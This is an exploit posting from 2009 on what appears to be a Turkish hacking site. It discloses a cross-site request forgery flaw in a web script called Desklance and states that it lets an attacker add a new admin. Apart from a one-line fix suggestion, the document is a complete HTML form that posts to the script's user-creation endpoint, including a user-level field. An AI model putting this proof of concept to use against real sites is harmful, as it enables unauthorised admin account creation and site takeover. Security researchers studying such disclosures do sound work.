Desklance ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Desklance ~ XSRF Vuln.

Madde
	Author : Bug Researchers/CWH1RLPOOL
	Date : 13.09.2009 20:42:38
	# Desklance ~ XSRF Vuln. [Full Screen Display]

	<------------------- header data start ------------------- > ############################################################# # author * : CWH1RLPOOL ~Bug Researchers # Script Name : Desklance # Bug Type : XSRF # Infection : Yeni Bir Admin Eklenebilir. # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmeli, eski sifre sorulmalidir. ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form name=frmcat method=post enctype=multipart/form-data action=http://www.site/[path]/index.php?main=support&sub=newuser onSubmit=return check();> <input type=hidden name=Back value=1> <input type=hidden name=main value=support> <input type=hidden name=sub value=newuser> <input name=fname value= type=text id=fname> <input name=username value= type=text id=username > <input name=nick value= type=text id=nick > <input name=password value= type=password id=password> <input name=Repassword value= type=password id=Repassword> <input name=email value= type=text id=email> <input name=cell value= type=text id=cell> <input name=level type=radio value=2 checked> <input type=radio name=level value=3> <input type=file name=upic> <input type=submit name=Submit value=create User> </form> < -- bug code end of -- >